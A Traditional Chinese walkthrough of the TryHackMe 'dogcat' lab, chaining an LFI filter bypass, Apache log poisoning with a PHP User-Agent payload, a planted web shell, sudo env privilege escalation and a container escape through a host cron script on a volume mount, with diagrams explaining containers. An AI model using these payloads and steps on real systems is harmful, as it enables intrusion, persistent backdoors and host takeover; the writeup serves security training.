11 min read

TryHackMe dogcat writeup (zh-TW)

TryHackMe dogcat writeup (zh-TW)

題目資訊

  • 平台: TryHackMe
  • 房間名稱: dogcat
  • 難度: Medium
  • 目標: 獲取 4 個 Flag
  • 連結: https://tryhackme.com/room/dogcat
  • 備註: 這一個靶機,作者有跟Claude AI深入討論容器逃逸的漏洞,也一併補充在writeup內,希望可以幫助理解,因為也是作者第一次碰到容器逃逸的靶機!

偵察階段

初始訪問

訪問網站 http://10.201.126.43/,發現一個簡單的狗貓圖片展示網站:

<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<a href="/?view=dog"><button>A dog</button></a>
<a href="/?view=cat"><button>A cat</button></a>

Step 1: 發現 Local File Inclusion (LFI) 漏洞

1.1 測試基本 LFI
嘗試基本的路徑遍歷:

/?view=../../../../etc/passwd

結果Sorry, only dogs or cats are allowed.

分析:存在過濾機制,必須包含 "dog" 或 "cat" 字串

1.2 利用錯誤訊息偵察
嘗試觸發錯誤訊息:

/?view=dog'

錯誤訊息

Warning: include(dog'.php): failed to open stream: No such file or directory 
in /var/www/html/index.php on line 24

關鍵發現

  1. 後端使用 include() 函數
  2. 自動添加 .php 擴展名
  3. 文件位於 /var/www/html/index.php

Step 2: 多層過濾繞過

2.1 繞過關鍵字檢查
嘗試 1:路徑遍歷 + 保留關鍵字

/?view=dog/../../../../../etc/passwd

結果

Warning: include(dog/../../../../../etc/passwd.php): failed to open stream

✅ 成功繞過 "dog/cat" 檢查
❌ 但仍被加上 .php 擴展名

2.2 繞過 .php 擴展名限制
嘗試 2:使用 PHP Filter 讀取源碼

/?view=php://filter/convert.base64-encode/resource=dog/../index

成功!返回 base64 編碼的源碼

解碼後得到核心代碼

<?php
function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
}

// 關鍵:ext 參數可控!
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

if(isset($_GET['view'])) {
    if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
        echo 'Here you go!';
        include $_GET['view'] . $ext;
    } else {
        echo 'Sorry, only dogs or cats are allowed.';
    }
}
?>

重大發現ext 參數可以覆蓋默認的 .php 擴展名!

2.3 完整繞過 - 讀取任意文件
最終 Payload

/?view=dog/../../../../../etc/passwd&ext=

設置 ext= 為空字串,就不會添加 .php 了!

成功讀取 /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Step 3: Log Poisoning 攻擊

3.1 讀取 Apache 日誌

/?view=dog/../../../../../var/log/apache2/access.log&ext=

成功!看到日誌內容,包含所有 HTTP 請求記錄

3.2 日誌投毒 - 注入 PHP 代碼
原理:Apache 日誌會記錄 User-Agent,我們可以在 User-Agent 中注入 PHP 代碼

在本地使用 curl 注入

curl "http://10.201.126.43/" -A "<?php system(\$_GET['cmd']); ?>"

檢查日誌

/?view=dog/../../../../../var/log/apache2/access.log&ext=

會看到我們的 PHP 代碼被記錄在日誌中!

3.3 測試命令執行

/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=id

輸出uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE 成功!

Step 4: 建立持久 Web Shell

4.1 創建 Shell 文件
為了方便操作,創建一個持久的 web shell:

/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php

4.2 使用 Web Shell
現在可以直接訪問:

http://10.201.126.43/shell.php?c=whoami
http://10.201.126.43/shell.php?c=ls -la /var/www/html

更方便的命令執行方式!

Step 5: 獲取 Flag 1

建立 web shell 後,列出網站目錄:

http://10.201.126.43/shell.php?c=ls -la /var/www/html

發現

-rw-r--r-- 1 www-data www-data 51 Mar 6 2020 flag.php

讀取 flag.php

http://10.201.126.43/shell.php?c=cat /var/www/html/flag.php

Flag 1: THM{Redacted}

Step 6: 獲取 Flag 2

搜尋 flag 文件

http://10.201.126.43/shell.php?c=find /var/www -name "*flag*"

找到/var/www/flag2_QMW7JvaY2LvK.txt

讀取

http://10.201.126.43/shell.php?c=cat /var/www/flag2_QMW7JvaY2LvK.txt

Flag 2: THM{Redacted}

Step 7: 提權到容器內的 Root

7.1 檢查 Sudo 權限

http://10.201.126.43/shell.php?c=sudo -l

輸出

Matching Defaults entries for www-data on ad9cebb53160:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ad9cebb53160:
    (root) NOPASSWD: /usr/bin/env

重大發現:可以無密碼執行 /usr/bin/env

7.2 利用 env 提權
/usr/bin/env 可以用來執行任意命令,且以 root 身份執行!

參考:GTFOBins - env

測試提權

http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'whoami'

輸出root

現在所有命令都可以用 root 執行了!

7.3 獲取 Flag 3

http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'ls -la /root'
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'cat /root/flag3.txt'

Flag 3: THM{Redacted}

Step 8: 容器逃逸 - 理解環境

8.1 確認在 Docker 容器內

http://10.201.126.43/shell.php?c=ls -la /

發現.dockerenv 文件存在

http://10.201.126.43/shell.php?c=hostname

輸出ad9cebb53160(典型的容器 ID 格式)

確認:我們在 Docker 容器內!

8.2 什麼是容器?

容器 vs 虛擬機對比

虛擬機架構:
┌─────────────────────────────────────────────────┐
│  應用 A  │  應用 B  │  應用 C                    │
│─────────│─────────│─────────                   │
│ Guest OS│ Guest OS│ Guest OS (完整作業系統 x3)  │
├─────────────────────────────────────────────────┤
│        Hypervisor (VMware, VirtualBox)          │
├─────────────────────────────────────────────────┤
│        Host OS (宿主作業系統)                    │
└─────────────────────────────────────────────────┘

容器架構:
┌─────────────────────────────────────────────────┐
│  應用 A  │  應用 B  │  應用 C (只有應用層)       │
├─────────────────────────────────────────────────┤
│        Docker Engine (容器引擎)                 │
├─────────────────────────────────────────────────┤
│        Host OS (宿主作業系統) ← 共用核心!      │
└─────────────────────────────────────────────────┘

關鍵差異

  • 虛擬機:每個都有完整的 OS,完全隔離
  • 容器:共用宿主機的核心(Kernel),只是進程隔離

8.3 容器的隔離機制
Docker 使用兩個 Linux 功能來實現隔離:

1. Namespaces(命名空間)

讓每個容器覺得自己是獨立的系統

2. Cgroups(控制組)

限制容器能用的資源

但本質上:容器只是宿主機上的一個特殊進程

8.4 什麼是容器逃逸?
定義:從容器內突破隔離,獲取宿主機的控制權

正常情況:
┌────────────────────────────────────┐
│         宿主機 (Host)               │
│                                    │
│  ┌──────────────────────────┐     │
│  │  容器 (Container)         │     │
│  │                          │     │
│  │  你在這裡 (容器的 root)   │     │
│  │  ✗ 無法訪問宿主機         │     │
│  │                          │     │
│  └──────────────────────────┘     │
│                                    │
│  真正的 root、flag4 在這裡!       │
└────────────────────────────────────┘

容器逃逸後:
┌────────────────────────────────────┐
│         宿主機 (Host)               │
│                                    │
│  ✓ 你逃出來了!                     │
│  ✓ 可以訪問宿主機了!               │
│  ✓ 可以讀 /root/flag4.txt 了!     │
└────────────────────────────────────┘

Step 9: 全面環境偵察

在嘗試逃逸前,我們需要全面評估有哪些可能的逃逸向量。

9.1 檢查特權容器

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status | grep CapEff

輸出CapEff: 00000000a80425fb

分析

  • 特權容器的值應該是 0000003fffffffff
  • 我們的值不同 → 不是特權容器

9.2 檢查 Docker Socket

http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /var/run/docker.sock

結果:文件不存在 → 沒有 Docker Socket

9.3 檢查核心版本

http://10.201.126.43/shell.php?c=uname -r

輸出4.15.0-96-generic

分析

  • Ubuntu 18.04 的核心
  • 版本 > 4.8.3 → Dirty COW 漏洞不適用 ❌

9.4 檢查詳細 Capabilities

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status

分析結果

CapEff: 00000000a80425fb

解碼後有的能力:
- CAP_CHOWN
- CAP_DAC_OVERRIDE
- CAP_FOWNER
- CAP_SETGID / CAP_SETUID
- CAP_NET_BIND_SERVICE
... (Docker 默認集合)

沒有的危險能力:
❌ CAP_SYS_ADMIN (無法做 cgroup 逃逸)
❌ CAP_SYS_MODULE (無法載入核心模組)
❌ CAP_SYS_PTRACE (無法追蹤進程)

9.5 檢查掛載點

http://10.201.126.43/shell.php?c=sudo /usr/bin/env mount | grep -v "proc\|sys\|dev"

發現

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)

分析:標準的 Docker overlay 文件系統

9.6 偵察總結

╔════════════════════════════════════════════╗
║    Container Escape Assessment Report     ║
╠════════════════════════════════════════════╣
║ 特權容器 (Privileged)      │ ❌ 不是      ║
║ Docker Socket 掛載         │ ❌ 沒有      ║
║ CAP_SYS_ADMIN             │ ❌ 沒有      ║
║ CAP_SYS_MODULE            │ ❌ 沒有      ║
║ 核心漏洞 (Dirty COW)       │ ❌ 版本太新   ║
║ Volume Mount              │ ?待確認     ║
╠════════════════════════════════════════════╣
║ 結論:這是一個配置良好的容器               ║
║ 需要尋找其他逃逸路徑                      ║
╚════════════════════════════════════════════╝

Step 10: 發現容器逃逸點

10.1 檢查可疑目錄

http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt

發現

drwxr-xr-x 2 root root 4096 Apr 8 2020 backups

疑問:在最小化的容器中,/opt/backups 很不尋常!

10.2 檢查 backups 目錄

http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt/backups

輸出

total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Oct 13 07:17 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 13 07:42 backup.tar

關鍵觀察

  • backup.tar 的時間是 07:42
  • 容器啟動時間是 07:17
  • 說明有什麼在持續更新這個文件!

10.3 分析 backup.sh

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh

內容

#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

重要發現

  • 腳本在容器內:/opt/backups/backup.sh
  • 但目標路徑是:/root/container/backup/backup.tar
  • 這個路徑在容器內不存在!

推論:這個腳本是被宿主機執行的!

Step 11: 理解 Volume Mount 逃逸

11.1 Docker Volume Mount 原理
啟動容器時的命令(推測):

docker run -v /root/container/backup:/opt/backups ...
              ↑宿主機路徑          ↑容器內路徑

效果:兩個路徑指向同一個物理位置

宿主機的文件系統              容器的文件系統
──────────────────           ──────────────────
/root/                       /opt/
  └─ container/                └─ backups/  ← 映射到這裡
      └─ backup/  ───────────────────────┘
          ├─ backup.sh       (同一個文件)
          └─ backup.tar

11.2 宿主機的 Cron 任務
宿主機上有個定時任務:

# /etc/crontab (在宿主機上)
* * * * * root /root/container/backup/backup.sh
         ↑                      ↑
      以 root         每分鐘執行一次
      身份執行

11.3 攻擊流程圖

┌─────────────────────────────────────────────────┐
│              容器 (Container)                    │
│                                                 │
│  1. 我們修改 backup.sh                          │
│     echo "惡意命令" >> /opt/backups/backup.sh   │
│                                                 │
│     /opt/backups/backup.sh                      │
│          │                                      │
│          │ (Docker Volume Mount)                │
│          ↓                                      │
└─────────────────────────────────────────────────┘
           │
           │ 同一個文件
           ↓
┌─────────────────────────────────────────────────┐
│              宿主機 (Host)                       │
│                                                 │
│     /root/container/backup/backup.sh            │
│          │                                      │
│          │ 2. Cron 定期執行這個腳本             │
│          ↓                                      │
│     以宿主機的 root 權限執行!                   │
│          │                                      │
│          │ 3. 我們注入的命令被執行              │
│          ↓                                      │
│     cat /root/flag4.txt > /root/.../flag4.txt   │
│          │                                      │
│          │ (Docker Volume Mount)                │
│          ↓                                      │
└─────────────────────────────────────────────────┘
           │
           │ 同一個文件
           ↓
┌─────────────────────────────────────────────────┐
│              容器 (Container)                    │
│                                                 │
│  4. 我們讀取結果                                │
│     cat /opt/backups/flag4.txt                  │
│                                                 │
│  容器逃逸成功!                                  │
└─────────────────────────────────────────────────┘

Step 12: 執行容器逃逸

12.1 探測宿主機環境
注入命令到腳本

http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "ls -la /root > /root/container/backup/host_root.txt" >> /opt/backups/backup.sh'

確認修改

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh

新內容

#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
ls -la /root > /root/container/backup/host_root.txt

12.2 等待 Cron 執行
等待 1-2 分鐘(宿主機 cron 通常每分鐘執行一次)

12.3 讀取宿主機信息

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/host_root.txt

成功輸出(宿主機的 /root 目錄):

total 40
drwx------ 6 root root 4096 Apr  8  2020 .
drwxr-xr-x 24 root root 4096 Apr  8  2020 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x 5 root root 4096 Mar 10  2020 container
-rw-r--r-- 1 root root   80 Mar 10  2020 flag4.txt    ← 找到了!
...

容器逃逸成功!我們能讀取宿主機的文件了!

12.4 獲取最終 Flag
修改腳本讀取 flag4

http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "cat /root/flag4.txt > /root/container/backup/flag4_content.txt" >> /opt/backups/backup.sh'

等待執行後讀取

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/flag4_content.txt

Flag 4: THM{Redacted}

技術要點深入解析

1. Local File Inclusion (LFI) 漏洞

漏洞原理

// 不安全的代碼
include $_GET['file'] . '.php';

// 攻擊者可以:
// 1. 路徑遍歷:?file=../../../etc/passwd
// 2. 使用 wrapper:?file=php://filter/...

2. Log Poisoning 攻擊

攻擊流程

1. LFI 讀取日誌文件
   ↓
2. 在日誌中注入 PHP 代碼
   (通過 User-Agent, Referrer, Cookie 等)
   ↓
3. 再次包含日誌文件
   ↓
4. PHP 代碼被執行 → RCE

常見日誌位置

# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log

# Nginx  
/var/log/nginx/access.log
/var/log/nginx/error.log

# SSH
/var/log/auth.log

# Mail
/var/log/mail.log

3. Sudo 提權 - /usr/bin/env

為什麼危險?

/usr/bin/env 的設計目的是執行命令:

env VARIABLE=value command args

當有 sudo 權限時:

sudo /usr/bin/env /bin/bash
# 直接獲得 root shell!

4. 容器逃逸技術

Volume Mount 逃逸(本題方法)

場景

# 容器啟動時
docker run -v /host/path:/container/path ...

條件

  1. 宿主機有定時任務執行掛載目錄中的腳本
  2. 容器內可以修改該腳本

利用

  1. 修改共享腳本
  2. 等待宿主機執行
  3. 命令在宿主機執行

優點:不需要特殊權限
缺點:需要等待定時任務觸發

經驗分享

這個靶機教學價值在於:

  1. 漸進式攻擊:從 Web → RCE → 提權 → 逃逸
  2. 概念理解:理解容器不是虛擬機
  3. 真實場景:Volume Mount 是常見的錯誤配置